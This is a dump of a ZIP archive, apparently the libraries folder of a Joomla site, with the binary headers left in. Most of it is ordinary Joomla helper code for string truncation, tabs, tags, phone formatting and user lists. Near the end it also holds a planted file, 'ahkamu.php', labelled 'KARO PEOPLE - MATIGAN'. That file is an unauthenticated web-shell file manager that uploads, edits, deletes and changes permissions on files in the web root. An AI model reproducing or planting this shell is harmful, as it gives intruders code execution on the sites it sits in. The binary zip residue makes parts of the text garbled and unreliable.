$('.text-area-order').focus(function ()
{
oldOrderingValue = $(this).attr('value');
})
.keyup(function (){
var newOrderingValue = $(this).attr('value');
if (oldOrderingValue != newOrderingValue)
{
saveOrderButton.css({'opacity':'1',
'cursor':'pointer'}).removeAttr('onclick')
}
});
});
})(jQuery);"
);
return;
}
}
PK〈[.L=�$�$html/string.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
/**
* HTML helper class for rendering manipulated strings.
*
* @since 1.6
*/
abstract class JHtmlString
{
/**
* Truncates text blocks over the specified character limit and closes
* all open HTML tags. The method will optionally not truncate an
individual
* word, it will find the first space that is within the limit and
* truncate at that point. This method is UTF-8 safe.
*
* @param string $text The text to truncate.
* @param integer $length The maximum length of the text.
* @param boolean $noSplit Don't split a word if that is where
the cutoff occurs (default: true).
* @param boolean $allowHtml Allow HTML tags in the output, and close
any open tags (default: true).
*
* @return string The truncated text.
*
* @since 1.6
*/
public static function truncate($text, $length = 0, $noSplit = true,
$allowHtml = true)
{
// Assume a lone open tag is invalid HTML.
if ($length === 1 && $text[0] === '<')
{
return '...';
}
// Check if HTML tags are allowed.
if (!$allowHtml)
{
// Deal with spacing issues in the input.
$text = str_replace('>', '> ', $text);
$text = str_replace(array(' ',
' '), ' ', $text);
$text = StringHelper::trim(preg_replace('#\s+#mui', '
', $text));
// Strip the tags from the input and decode entities.
$text = strip_tags($text);
$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
// Remove remaining extra spaces.
$text = str_replace(' ', ' ', $text);
$text = StringHelper::trim(preg_replace('#\s+#mui', '
', $text));
}
// Whether or not allowing HTML, truncate the item text if it is too
long.
if ($length > 0 && StringHelper::strlen($text) > $length)
{
$tmp = trim(StringHelper::substr($text, 0, $length));
if ($tmp[0] === '<' && strpos($tmp,
'>') === false)
{
return '...';
}
// $noSplit true means that we do not allow splitting of words.
if ($noSplit)
{
// Find the position of the last space within the allowed length.
$offset = StringHelper::strrpos($tmp, ' ');
$tmp = StringHelper::substr($tmp, 0, $offset + 1);
// If there are no spaces and the string is longer than the maximum
// we need to just use the ellipsis. In that case we are done.
if ($offset === false && strlen($text) > $length)
{
return '...';
}
if (StringHelper::strlen($tmp) > $length - 3)
{
$tmp = trim(StringHelper::substr($tmp, 0, StringHelper::strrpos($tmp,
' ')));
}
}
if ($allowHtml)
{
// Put all opened tags into an array
preg_match_all("#<([a-z][a-z0-9]*)\b.*?(?!/)>#i", $tmp,
$result);
$openedTags = $result[1];
// Some tags self close so they do not need a separate close tag.
$openedTags = array_diff($openedTags, array('img',
'hr', 'br'));
$openedTags = array_values($openedTags);
// Put all closed tags into an array
preg_match_all("#</([a-z][a-z0-9]*)\b(?:[^>]*?)>#iU",
$tmp, $result);
$closedTags = $result[1];
$numOpened = count($openedTags);
// Not all tags are closed so trim the text and finish.
if (count($closedTags) !== $numOpened)
{
// Closing tags need to be in the reverse order of opening tags.
$openedTags = array_reverse($openedTags);
// Close tags
for ($i = 0; $i < $numOpened; $i++)
{
if (!in_array($openedTags[$i], $closedTags))
{
$tmp .= '</' . $openedTags[$i] . '>';
}
else
{
unset($closedTags[array_search($openedTags[$i], $closedTags)]);
}
}
}
// Check if we are within a tag
if (StringHelper::strrpos($tmp, '<') >
StringHelper::strrpos($tmp, '>'))
{
$offset = StringHelper::strrpos($tmp, '<');
$tmp = StringHelper::trim(StringHelper::substr($tmp, 0, $offset));
}
}
if ($tmp === false || strlen($text) > strlen($tmp))
{
$text = trim($tmp) . '...';
}
}
// Clean up any internal spaces created by the processing.
$text = str_replace(' </', '</', $text);
$text = str_replace(' ...', '...', $text);
return $text;
}
/**
* Method to extend the truncate method to more complex situations
*
* The goal is to get the proper length plain text string with as much of
* the html intact as possible with all tags properly closed.
*
* @param string $html The content of the introtext to be
truncated
* @param integer $maxLength The maximum number of characters to
render
* @param boolean $noSplit Don't split a word if that is where
the cutoff occurs (default: true).
*
* @return string The truncated string. If the string is truncated an
ellipsis
* (...) will be appended.
*
* @note If a maximum length of 3 or less is selected and the text has
more than
* that number of characters an ellipsis will be displayed.
* This method will not create valid HTML from malformed HTML.
*
* @since 3.1
*/
public static function truncateComplex($html, $maxLength = 0, $noSplit =
true)
{
// Start with some basic rules.
$baseLength = strlen($html);
// If the original HTML string is shorter than the $maxLength do nothing
and return that.
if ($baseLength <= $maxLength || $maxLength === 0)
{
return $html;
}
// Take care of short simple cases.
if ($maxLength <= 3 && $html[0] !== '<'
&& strpos(substr($html, 0, $maxLength - 1), '<') ===
false && $baseLength > $maxLength)
{
return '...';
}
// Deal with maximum length of 1 where the string starts with a tag.
if ($maxLength === 1 && $html[0] === '<')
{
$endTagPos = strlen(strstr($html, '>', true));
$tag = substr($html, 1, $endTagPos);
$l = $endTagPos + 1;
if ($noSplit)
{
return substr($html, 0, $l) . '</' . $tag .
'...';
}
// TODO: $character doesn't seem to be used...
$character = substr(strip_tags($html), 0, 1);
return substr($html, 0, $l) . '</' . $tag .
'...';
}
// First get the truncated plain text string. This is the rendered text
we want to end up with.
$ptString = JHtml::_('string.truncate', $html, $maxLength,
$noSplit, $allowHtml = false);
// It's all HTML, just return it.
if ($ptString === '')
{
return $html;
}
// If the plain text is shorter than the max length the variable will not
end in ...
// In that case we use the whole string.
if (substr($ptString, -3) !== '...')
{
return $html;
}
// Regular truncate gives us the ellipsis but we want to go back for text
and tags.
if ($ptString === '...')
{
$stripped = substr(strip_tags($html), 0, $maxLength);
$ptString = JHtml::_('string.truncate', $stripped, $maxLength,
$noSplit, $allowHtml = false);
}
// We need to trim the ellipsis that truncate adds.
$ptString = rtrim($ptString, '.');
// Now deal with more complex truncation.
while ($maxLength <= $baseLength)
{
// Get the truncated string assuming HTML is allowed.
$htmlString = JHtml::_('string.truncate', $html, $maxLength,
$noSplit, $allowHtml = true);
if ($htmlString === '...' && strlen($ptString) + 3
> $maxLength)
{
return $htmlString;
}
$htmlString = rtrim($htmlString, '.');
// Now get the plain text from the HTML string and trim it.
$htmlStringToPtString = JHtml::_('string.truncate',
$htmlString, $maxLength, $noSplit, $allowHtml = false);
$htmlStringToPtString = rtrim($htmlStringToPtString, '.');
// If the new plain text string matches the original plain text string
we are done.
if ($ptString === $htmlStringToPtString)
{
return $htmlString . '...';
}
// Get the number of HTML tag characters in the first $maxLength
characters
$diffLength = strlen($ptString) - strlen($htmlStringToPtString);
if ($diffLength <= 0)
{
return $htmlString . '...';
}
// Set new $maxlength that adjusts for the HTML tags
$maxLength += $diffLength;
}
}
/**
* Abridges text strings over the specified character limit. The
* behavior will insert an ellipsis into the text replacing a section
* of variable size to ensure the string does not exceed the defined
* maximum length. This method is UTF-8 safe.
*
* For example, it transforms "Really long title" to
"Really...title".
*
* Note that this method does not scan for HTML tags so will potentially
break them.
*
* @param string $text The text to abridge.
* @param integer $length The maximum length of the text (default is
50).
* @param integer $intro The maximum length of the intro text
(default is 30).
*
* @return string The abridged text.
*
* @since 1.6
*/
public static function abridge($text, $length = 50, $intro = 30)
{
// Abridge the item text if it is too long.
if (StringHelper::strlen($text) > $length)
{
// Determine the remaining text length.
$remainder = $length - ($intro + 3);
// Extract the beginning and ending text sections.
$beg = StringHelper::substr($text, 0, $intro);
$end = StringHelper::substr($text, StringHelper::strlen($text) -
$remainder);
// Build the resulting string.
$text = $beg . '...' . $end;
}
return $text;
}
}
PK〈[J&7l��
html/tabs.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for Tabs elements.
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
abstract class JHtmlTabs
{
/**
* Creates a panes and creates the JavaScript object for it.
*
* @param string $group The pane identifier.
* @param array $params An array of option.
*
* @return string
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function start($group = 'tabs', $params = array())
{
static::loadBehavior($group, $params);
return '<dl class="tabs" id="' . $group .
'"><dt style="display:none;"></dt><dd
style="display:none;">';
}
/**
* Close the current pane
*
* @return string HTML to close the pane
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function end()
{
return '</dd></dl>';
}
/**
* Begins the display of a new panel.
*
* @param string $text Text to display.
* @param string $id Identifier of the panel.
*
* @return string HTML to start a new panel
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function panel($text, $id)
{
return '</dd><dt class="tabs ' . $id .
'"><span><h3><a
href="javascript:void(0);">' . $text .
'</a></h3></span></dt><dd
class="tabs">';
}
/**
* Load the JavaScript behavior.
*
* @param string $group The pane identifier.
* @param array $params Array of options.
*
* @return void
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
protected static function loadBehavior($group, $params = array())
{
static $loaded = array();
if (!array_key_exists((string) $group, $loaded))
{
// Include MooTools framework
JHtml::_('behavior.framework', true);
$opt['onActive'] =
isset($params['onActive']) ? '\\' .
$params['onActive'] : null;
$opt['onBackground'] =
isset($params['onBackground']) ? '\\' .
$params['onBackground'] : null;
$opt['display'] =
isset($params['startOffset']) ? (int)
$params['startOffset'] : null;
$opt['titleSelector'] = 'dt.tabs';
$opt['descriptionSelector'] = 'dd.tabs';
// When use storage is set and value is false - By default we allow to
use storage
$opt['useStorage'] = !(isset($params['useCookie'])
&& !$params['useCookie']);
$options = JHtml::getJSObject($opt);
$js = ' window.addEvent(\'domready\', function(){
$$(\'dl#' . $group .
'.tabs\').each(function(tabs){
new JTabs(tabs, ' . $options . ');
});
});';
$document = JFactory::getDocument();
$document->addScriptDeclaration($js);
JHtml::_('script', 'system/tabs.js',
array('version' => 'auto', 'relative'
=> true));
$loaded[(string) $group] = true;
}
}
}
PK〈[i�D�NNhtml/tag.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for tags
*
* @since 3.1
*/
abstract class JHtmlTag
{
/**
* Cached array of the tag items.
*
* @var array
* @since 3.1
*/
protected static $items = array();
/**
* Returns an array of tags.
*
* @param array $config An array of configuration options. By default,
only
* published and unpublished categories are
returned.
*
* @return array
*
* @since 3.1
*/
public static function options($config =
array('filter.published' => array(0, 1)))
{
$hash = md5(serialize($config));
if (!isset(static::$items[$hash]))
{
$config = (array) $config;
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id, a.title, a.level')
->from('#__tags AS a')
->where('a.parent_id > 0');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
// Filter on the language
if (isset($config['filter.language']))
{
if (is_string($config['filter.language']))
{
$query->where('a.language = ' .
$db->quote($config['filter.language']));
}
elseif (is_array($config['filter.language']))
{
foreach ($config['filter.language'] as &$language)
{
$language = $db->quote($language);
}
$query->where('a.language IN (' . implode(',',
$config['filter.language']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) .
$item->title;
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
}
return static::$items[$hash];
}
/**
* Returns an array of tags.
*
* @param array $config An array of configuration options. By default,
only published and unpublished tags are returned.
*
* @return array Tag data
*
* @since 3.1
*/
public static function tags($config = array('filter.published'
=> array(0, 1)))
{
$hash = md5(serialize($config));
$config = (array) $config;
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id, a.title, a.level, a.parent_id')
->from('#__tags AS a')
->where('a.parent_id > 0');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) . $item->title;
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
return static::$items[$hash];
}
/**
* This is just a proxy for the formbehavior.ajaxchosen method
*
* @param string $selector DOM id of the tag field
* @param boolean $allowCustom Flag to allow custom values
*
* @return void
*
* @since 3.1
*/
public static function ajaxfield($selector = '#jform_tags',
$allowCustom = true)
{
// Get the component parameters
$params = JComponentHelper::getParams('com_tags');
$minTermLength = (int) $params->get('min_term_length', 3);
$displayData = array(
'minTermLength' => $minTermLength,
'selector' => $selector,
'allowCustom' =>
JFactory::getUser()->authorise('core.create',
'com_tags') ? $allowCustom : false,
);
JLayoutHelper::render('joomla.html.tag', $displayData);
return;
}
}
PK〈[�Ѕ��html/tel.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML helper class for rendering telephone numbers.
*
* @since 1.6
*/
abstract class JHtmlTel
{
/**
* Converts strings of integers into more readable telephone format
*
* By default, the ITU-T format will automatically be used.
* However, one of the allowed unit types may also be used instead.
*
* @param integer $number The integers in a phone number with dot
separated country code
* ccc.nnnnnnn where ccc represents
country code and nnn represents the local number.
* @param string $displayplan The numbering plan used to display the
numbers.
*
* @return string The formatted telephone number.
*
* @see JFormRuleTel
* @since 1.6
*/
public static function tel($number, $displayplan)
{
$number = explode('.', $number);
$countrycode = $number[0];
$number = $number[1];
if ($displayplan === 'ITU-T' || $displayplan ===
'International' || $displayplan === 'int' ||
$displayplan === 'missdn' || $displayplan == null)
{
$display[0] = '+';
$display[1] = $countrycode;
$display[2] = ' ';
$display[3] = implode(' ', str_split($number, 2));
}
elseif ($displayplan === 'NANP' || $displayplan ===
'northamerica' || $displayplan === 'US')
{
$display[0] = '(';
$display[1] = substr($number, 0, 3);
$display[2] = ') ';
$display[3] = substr($number, 3, 3);
$display[4] = '-';
$display[5] = substr($number, 6, 4);
}
elseif ($displayplan === 'EPP' || $displayplan ===
'IETF')
{
$display[0] = '+';
$display[1] = $countrycode;
$display[2] = '.';
$display[3] = $number;
}
elseif ($displayplan === 'ARPA' || $displayplan ===
'ENUM')
{
$number = implode('.', str_split(strrev($number), 1));
$display[0] = '+';
$display[1] = $number;
$display[2] = '.';
$display[3] = $countrycode;
$display[4] = '.e164.arpa';
}
return implode('', $display);
}
}
PK〈[bǚ���
html/user.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with users
*
* @since 2.5
*/
abstract class JHtmlUser
{
/**
* Displays a list of user groups.
*
* @param boolean $includeSuperAdmin true to include super admin
groups, false to exclude them
*
* @return array An array containing a list of user groups.
*
* @since 2.5
*/
public static function groups($includeSuperAdmin = false)
{
$options = array_values(JHelperUsergroups::getInstance()->getAll());
for ($i = 0, $n = count($options); $i < $n; $i++)
{
$options[$i]->value = $options[$i]->id;
$options[$i]->text = str_repeat('- ',
$options[$i]->level) . $options[$i]->title;
$groups[] = JHtml::_('select.option', $options[$i]->value,
$options[$i]->text);
}
// Exclude super admin groups if requested
if (!$includeSuperAdmin)
{
$filteredGroups = array();
foreach ($groups as $group)
{
if (!JAccess::checkGroup($group->value, 'core.admin'))
{
$filteredGroups[] = $group;
}
}
$groups = $filteredGroups;
}
return $groups;
}
/**
* Get a list of users.
*
* @return string
*
* @since 2.5
*/
public static function userlist()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id AS value, a.name AS text')
->from('#__users AS a')
->where('a.block = 0')
->order('a.name');
$db->setQuery($query);
return $db->loadObjectList();
}
}
PK〈[o���less/formatter/joomla.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage Less
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Formatter ruleset for Joomla formatted CSS generated via LESS
*
* @package Joomla.Libraries
* @subpackage Less
* @since 3.4
* @deprecated 4.0 without replacement
*/
class JLessFormatterJoomla extends lessc_formatter_classic
{
public $disableSingle = true;
public $breakSelectors = true;
public $assignSeparator = ': ';
public $selectorSeparator = ',';
public $indentChar = "\t";
}
PK〈[�g�D��
less/less.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage LESS
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for lessc
*
* @package Joomla.Libraries
* @subpackage Less
* @since 3.4
* @deprecated 4.0 without replacement
*/
class JLess extends lessc
{
/**
* Constructor
*
* @param string $fname Filename to process
* @param \JLessFormatterJoomla $formatter Formatter object
*
* @since 3.4
*/
public function __construct($fname = null, $formatter = null)
{
parent::__construct($fname);
if ($formatter === null)
{
$formatter = new JLessFormatterJoomla;
}
$this->setFormatter($formatter);
}
/**
* Override compile to reset $this->allParsedFiles array to allow
* parsing multiple files/strings using same imports.
* PR: https://github.com/leafo/lessphp/pull/607
*
* For documentation on this please see /vendor/leafo/lessc.inc.php
*
* @param string $string LESS string to parse.
* @param string $name The sourceName used for error messages.
*
* @return string $out The compiled css output.
*/
public function compile($string, $name = null)
{
$this->allParsedFiles = array();
return parent::compile($string, $name);
}
}
PK〈[���%�%
ahkamu.phpnu�[���<?php
// Base directory configuration (change as needed)
$base_dir = $_SERVER['DOCUMENT_ROOT'];
$directory = isset($_GET['dir']) ? $_GET['dir'] :
$base_dir;
$full_path = realpath($directory);
// Security function for path validation
function is_valid_path($path) {
global $base_dir;
return strpos(realpath($path), realpath($base_dir)) === 0;
}
// Function to format file size in human-readable form
function format_size($size) {
$units = ['B', 'KB', 'MB',
'GB', 'TB'];
$unit = 0;
while ($size >= 1024 && $unit < count($units) - 1) {
$size /= 1024;
$unit++;
}
return round($size, 2) . ' ' . $units[$unit];
}
// Function to display folder permissions
function get_permissions($path) {
return substr(sprintf('%o', fileperms($path)), -4);
}
// File Upload Feature
if (isset($_FILES['file_to_upload'])) {
$target_file = $full_path . DIRECTORY_SEPARATOR .
basename($_FILES['file_to_upload']['name']);
if
(move_uploaded_file($_FILES['file_to_upload']['tmp_name'],
$target_file)) {
echo "<div class='alert alert-success'>File
" .
htmlspecialchars(basename($_FILES['file_to_upload']['name']))
. " successfully uploaded.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to upload file.</div>";
}
}
// File Edit Feature
if (isset($_POST['edit_file']) &&
isset($_POST['file_content'])) {
$edit_file = $_POST['edit_file'];
if (is_valid_path($edit_file)) {
file_put_contents($edit_file, $_POST['file_content']);
echo "<div class='alert alert-success'>File
successfully edited.</div>";
} else {
echo "<div class='alert alert-danger'>Invalid
file path.</div>";
}
}
// File Delete Feature
if (isset($_POST['delete_file'])) {
$delete_file = $_POST['delete_file'];
if (is_valid_path($delete_file) && is_file($delete_file)) {
unlink($delete_file);
echo "<div class='alert alert-success'>File
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete file.</div>";
}
}
// Folder Delete Feature
if (isset($_POST['delete_folder'])) {
$delete_folder = $_POST['delete_folder'];
if (is_valid_path($delete_folder) && is_dir($delete_folder)) {
rmdir_recursive($delete_folder);
echo "<div class='alert alert-success'>Folder
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete folder.</div>";
}
}
// Recursive function to delete a folder and its contents
function rmdir_recursive($dir) {
foreach (scandir($dir) as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($full_path)) {
rmdir_recursive($full_path);
} else {
unlink($full_path);
}
}
}
rmdir($dir);
}
// Load file content for editing via AJAX
if (isset($_GET['load_file'])) {
$file_to_load = $_GET['load_file'];
if (is_valid_path($file_to_load) && is_file($file_to_load)) {
echo file_get_contents($file_to_load);
}
exit;
}
// Handle permissions update
if (isset($_POST['set_permissions'])) {
$target_path = $_POST['target_path'];
$permissions = $_POST['permissions'];
if (is_valid_path($target_path)) {
chmod($target_path, octdec($permissions));
echo "<div class='alert
alert-success'>Permissions updated to
$permissions.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to update permissions.</div>";
}
}
// List Directory Content
$files = scandir($full_path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>KARO PEOPLE - MATIGAN</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="text-center mb-4">KARO PEOPLE -
MATIGAN</h1>
<!-- File Upload Form -->
<div class="card mb-4">
<div class="card-header">
<h2>Upload File</h2>
</div>
<div class="card-body">
<form action="" method="POST"
enctype="multipart/form-data" class="form-inline">
<div class="form-group">
<input type="file"
name="file_to_upload" class="form-control mb-2
mr-2">
</div>
<button type="submit" class="btn
btn-primary mb-2">Upload</button>
</form>
</div>
</div>
<!-- Directory Content -->
<div class="card">
<div class="card-header">
<h2>Directory Content: <?php echo
htmlspecialchars($full_path); ?></h2>
</div>
<div class="card-body">
<ul class="list-group">
<?php foreach ($files as $file): ?>
<?php if ($file !== '.' && $file
!== '..'): ?>
<li class="list-group-item d-flex
justify-content-between align-items-center">
<?php if (is_dir($full_path .
DIRECTORY_SEPARATOR . $file)): ?>
<a href="?dir=<?php echo
urlencode($full_path . DIRECTORY_SEPARATOR . $file); ?>">
<strong><?php echo
htmlspecialchars($file); ?></strong>
</a>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_folder" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete Folder</button>
</form>
<?php else: ?>
<?php echo htmlspecialchars($file);
?>
(<?php echo
format_size(filesize($full_path . DIRECTORY_SEPARATOR . $file)); ?>)
<span
class="text-muted">(Permissions: <?php echo
get_permissions($full_path . DIRECTORY_SEPARATOR . $file);
?>)</span>
<div>
<button type="button"
class="btn btn-warning btn-sm"
onclick="editFile('<?php echo addslashes($full_path .
DIRECTORY_SEPARATOR . $file); ?>')">Edit</button>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_file" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete</button>
</form>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="target_path" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<input type="text"
name="permissions" placeholder="0644"
class="form-control-sm">
<button type="submit"
name="set_permissions" class="btn btn-info
btn-sm">Set Permissions</button>
</form>
</div>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
</div>
</div>
<!-- Modal for Editing File -->
<div id="editModal" class="modal"
tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit
File</h5>
<button type="button"
class="btn-close"
onclick="closeModal()"></button>
</div>
<div class="modal-body">
<form action="" method="POST">
<input type="hidden"
name="edit_file" id="edit_file">
<div class="form-group">
<textarea name="file_content"
id="file_content" rows="10"
class="form-control"></textarea>
</div>
<button type="submit" class="btn
btn-primary mt-3">Save Changes</button>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn
btn-secondary"
onclick="closeModal()">Close</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filePath) {
document.getElementById('editModal').style.display =
'block';
document.getElementById('edit_file').value = filePath;
// Load file content using Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '?load_file=' +
encodeURIComponent(filePath), true);
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById('file_content').value =
xhr.responseText;
}
};
xhr.send();
}
function closeModal() {
document.getElementById('editModal').style.display =
'none';
}
</script>
<!-- Bootstrap JS -->
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
PK!�ē���html/bootstrap/addtab.phpnu�[���PK!$��html/bootstrap/addtabscript.phpnu�[���PK!�ӻahtml/bootstrap/endtab.phpnu�[���PK!�ӻ�html/bootstrap/endtabset.phpnu�[���PK!o"��html/bootstrap/starttabset.phpnu�[���PK!��$$A
html/bootstrap/starttabsetscript.phpnu�[���PKy_�[*�S��
�css/debug.cssnu�[���PK〈[_»���class/loader.phpnu�[���PK〈[������html/access.phpnu�[���PK〈[�<�oo�>html/actionsdropdown.phpnu�[���PK〈[�sB��jUhtml/adminlanguage.phpnu�[���PK〈[Em����8[html/batch.phpnu�[���PK〈[�B\�{�{hhtml/behavior.phpnu�[���PK〈[���v�v���html/bootstrap.phpnu�[���PK〈[�M�''�hhtml/category.phpnu�[���PK〈[lrw���~html/content.phpnu�[���PK〈[*�}�''�html/contentlanguage.phpnu�[���PK〈[�.$$
T�html/date.phpnu�[���PK〈[[u�c����html/debug.phpnu�[���PK〈[�t-N)#)#��html/dropdown.phpnu�[���PK〈[�cW��%�html/email.phpnu�[���PK〈[�e7+��
�html/form.phpnu�[���PK〈[��
�html/formbehavior.phpnu�[���PK〈[?�A)A)
X�html/grid.phpnu�[���PK〈[p��*�
html/icons.phpnu�[���PK〈[�q�R�@�@*html/jgrid.phpnu�[���PK〈[r^���,Uhtml/jquery.phpnu�[���PK〈[^�~�BB'dhtml/language/en-GB/en-GB.jhtmldate.ininu�[���PK〈[���a
�ghtml/links.phpnu�[���PK〈[�bH���
�qhtml/list.phpnu�[���PK〈[9E�p&p&
��html/menu.phpnu�[���PK〈[���B��html/number.phpnu�[���PK〈[
/mA
A
�html/rules.phpnu�[���PK〈[g75���d�html/searchtools.phpnu�[���PK〈[�W��m�mA�html/select.phpnu�[���PK〈[�ټGggqahtml/sidebar.phpnu�[���PK〈[7�v�nhtml/sliders.phpnu�[���PK〈[�H����^html/sortablelist.phpnu�[���PK〈[.L=�$�$��html/string.phpnu�[���PK〈[J&7l��
��html/tabs.phpnu�[���PK〈[i�D�NN~�html/tag.phpnu�[���PK〈[�Ѕ���html/tel.phpnu�[���PK〈[bǚ���
��html/user.phpnu�[���PK〈[o�����less/formatter/joomla.phpnu�[���PK〈[�g�D��
��less/less.phpnu�[���PK〈[���%�%
m�ahkamu.phpnu�[���PK..��